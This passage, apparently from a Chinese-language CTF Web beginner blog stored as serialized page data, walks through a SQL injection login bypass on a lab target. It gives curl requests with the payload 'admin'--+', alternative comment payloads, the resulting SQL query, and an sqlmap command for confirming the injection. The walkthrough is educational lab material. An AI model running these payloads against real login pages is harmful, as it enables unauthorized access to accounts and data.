\"'\";\n",[355,14206,14208],{"id":14207},"第一步正常登录失败","第一步：正常登录失败",[15,14210,14211,14213],{},[333,14212,335],{},"：先建立\"正常请求\"的基线，确认接口参数名（user/pass）和失败时的输出特征。",[31,14215,14217],{"className":267,"code":14216,"language":269,"meta":36,"style":36},"curl -X POST \"http://target/login.php\" --data \"user=admin&pass=wrong\"\n",[26,14218,14219],{"__ignoreMap":36},[40,14220,14221,14223,14225,14227,14229,14232,14234,14237,14239,14242],{"class":42,"line":43},[40,14222,5437],{"class":276},[40,14224,13990],{"class":280},[40,14226,13993],{"class":284},[40,14228,5440],{"class":505},[40,14230,14231],{"class":284},"http://target/login.php",[40,14233,6080],{"class":505},[40,14235,14236],{"class":280}," --data",[40,14238,5440],{"class":505},[40,14240,14241],{"class":284},"user=admin&pass=wrong",[40,14243,5446],{"class":505},[15,14245,303,14246,307],{},[26,14247,14248],{},"Login failed",[355,14250,14252],{"id":14251},"第二步构造绕过","第二步：构造绕过",[15,14254,14255,14257,14258,14261],{},[333,14256,341],{},"：观察源码 ",[26,14259,14260],{},"WHERE username='...' AND password='...'","，猜测我们可以在用户名里\"提前闭合单引号并用注释吃掉后半句\"。这样密码校验被注释掉，只要用户存在即可登录。",[15,14263,14264,14266,14267,14269,14270,1013,14273,14276,14277,3844,14279,9450],{},[333,14265,1691],{},"：发送 payload 后看是否从 ",[26,14268,14248],{}," 变成成功页面；若失败，尝试 ",[26,14271,14272],{},"admin'#",[26,14274,14275],{},"admin'-- "," 等不同注释符（MySQL 支持 ",[26,14278,13347],{},[26,14280,14281],{},"#",[15,14283,1251],{},[31,14285,14287],{"className":267,"code":14286,"language":269,"meta":36,"style":36},"curl -X POST \"http://target/login.php\" --data \"user=admin'--+&pass=wrong\"\n",[26,14288,14289],{"__ignoreMap":36},[40,14290,14291,14293,14295,14297,14299,14301,14303,14305,14307,14310],{"class":42,"line":43},[40,14292,5437],{"class":276},[40,14294,13990],{"class":280},[40,14296,13993],{"class":284},[40,14298,5440],{"class":505},[40,14300,14231],{"class":284},[40,14302,6080],{"class":505},[40,14304,14236],{"class":280},[40,14306,5440],{"class":505},[40,14308,14309],{"class":284},"user=admin'--+&pass=wrong",[40,14311,5446],{"class":505},[15,14313,14314],{},"实际执行的 SQL：",[31,14316,14318],{"className":5231,"code":14317,"language":5233,"meta":36,"style":36},"SELECT * FROM users WHERE username='admin'-- ' AND password='wrong'\n",[26,14319,14320],{"__ignoreMap":36},[40,14321,14322],{"class":42,"line":43},[40,14323,14317],{},[15,14325,14326,14328,14329,14332],{},[26,14327,13347],{}," 注释掉密码部分。预期输出：",[26,14330,14331],{},"Login success"," 和 flag。",[15,14334,14335,14338,14339,14342,14343,14346],{},[333,14336,14337],{},"为什么能成功","：数据库中确实存在 ",[26,14340,14341],{},"admin"," 用户，查询 ",[26,14344,14345],{},"WHERE username='admin'"," 就能命中一行；命中即视为登录成功。",[355,14348,14350],{"id":14349},"第三步sqlmap-验证","第三步：sqlmap 验证",[15,14352,14353,14355],{},[333,14354,335],{},"：用工具确认手工结论，同时自动探测其他注入点。",[31,14357,14359],{"className":267,"code":14358,"language":269,"meta":36,"style":36},"sqlmap -u \"http://target/login.php\" --data \"user=a&pass=b\" --batch\n# --data 指定 POST 请求体；sqlmap 会分别对 user、pass 两个参数测试注入。\n# --batch 表示全程自动选择默认选项，不需要人工确认。\n# 预期输出：报告 Parameter: user (POST) 存在注入。\n",[26,14360,14361,14384,14389,14394],{"__ignoreMap":36},[40,14362,14363,14365,14367,14369,14371,14373,14375,14377,14380,14382],{"class":42,"line":43},[40,14364,6070],{"class":276},[40,14366,6073],{"class":280},[40,14368,5440],{"class":505},[40,14370,14231],{"class":284},[40,14372,6080],{"class":505},[40,14374,14236],{"class":280},[40,14376,5440],{"class":505},[40,14378,14379],{"class":284},"user=a&pass=b",[40,14381,6080],{"class":505},[40,14383,6083],{"class":280},[40,14385,14386],{"class":42,"line":49},[40,14387,14388],{"class":2552},"# --data 指定 POST 请求体；sqlmap 会分别对 user、pass 两个参数测试注入。\n",[40,14390,14391],{"class":42,"line":55},[40,14392,14393],{"class":2552},"# --batch 表示全程自动选择默认选项，不需要人工确认。\n",[40,14395,14396],{"class":42,"line":62},[40,14397,14398],{"class":2552},"# 预期输出：报告 Parameter: user (POST) 存在注入。\n",[15,14400,14401,14402,14405],{},"预期输出：报告 ",[26,14403,14404],{},"Parameter: user (POST)"," 存在注入。",[10,14407,3199],{"id":3198},[15,14409,14410],{},"Web 入门只需要掌握：参数不可信；SQLi/XSS/SSRF 的复现与检测；curl、Burp、sqlmap 三个工具的核心用法。",[1098,14412,14413],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":36,"searchDepth":49,"depth":49,"links":14415},[14416,14417,14418,14419,14420,14421,14422,14423,14424,14425],{"id":12583,"depth":55,"text":12584},{"id":12691,"depth":55,"text":12692},{"id":12789,"depth":55,"text":12790},{"id":13384,"depth":55,"text":13385},{"id":13677,"depth":55,"text":13678},{"id":13901,"depth":55,"text":13902},{"id":14015,"depth":55,"text":14016},{"id":14079,"depth":55,"text":14080},{"id":14176,"depth":55,"text":14177},{"id":3198,"depth":55,"text":3199},"完整复现 SQL 注入、XSS、SSRF 三个漏洞：环境搭建、请求与响应、演示 curl、Burp Suite、sqlmap 的核心用法。",{"date":1115,"image":14428,"alt":14429,"tags":14430,"published":58},"/blogs-img/blog9.png","CTF Web 入门",[1119,6587,1122],"/blogs/ctf-web-overview",{"title":12578,"description":14426},"blogs/9. ctf-web-overview","Zw9ZNNI8nq4-16xeG1TaILfNuOv5EuKnOPkpkm05cIk",1786796567606]